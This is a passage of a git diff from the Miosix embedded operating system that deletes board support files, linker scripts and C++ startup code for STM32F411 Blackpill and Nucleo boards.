the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::low(); -} - -inline void ledOff() -{ - _led::high(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * TODO: never tested - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/stm32_512k+128k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/stm32_512k+128k_rom.ld deleted file mode 100644 index 2dc09d687..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/stm32_512k+128k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/stm32_512k+128k_rom_processes.ld b/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/stm32_512k+128k_rom_processes.ld deleted file mode 100644 index 35b72719d..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411ce_blackpill/stm32_512k+128k_rom_processes.ld +++ /dev/null @@ -1,173 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the bottom 32KB of the RAM */ -_heap_end = 0x20008000; -/* Mapping the process pool into the upper 96KB of the RAM */ -_process_pool_start = _heap_end; -_process_pool_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 32K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/core/stage_1_boot.cpp deleted file mode 100644 index 1c6ea2b3d..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/core/stage_1_boot.cpp +++ /dev/null @@ -1,334 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f411 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - 0, - 0, - 0, - 0, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - 0, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - 0, - 0, - 0, - 0, - DMA1_Stream7_IRQHandler, - 0, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - 0, - 0, - 0, - 0, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - FPU_IRQHandler, - 0, - 0, - SPI4_IRQHandler, - SPI5_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 93a23bff5..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F411xE -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/interfaces-impl/bsp.cpp deleted file mode 100644 index d5ceb6715..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,139 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/interfaces-impl/bsp_impl.h deleted file mode 100644 index ecf7eac2c..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f411re_nucleo/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,80 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work 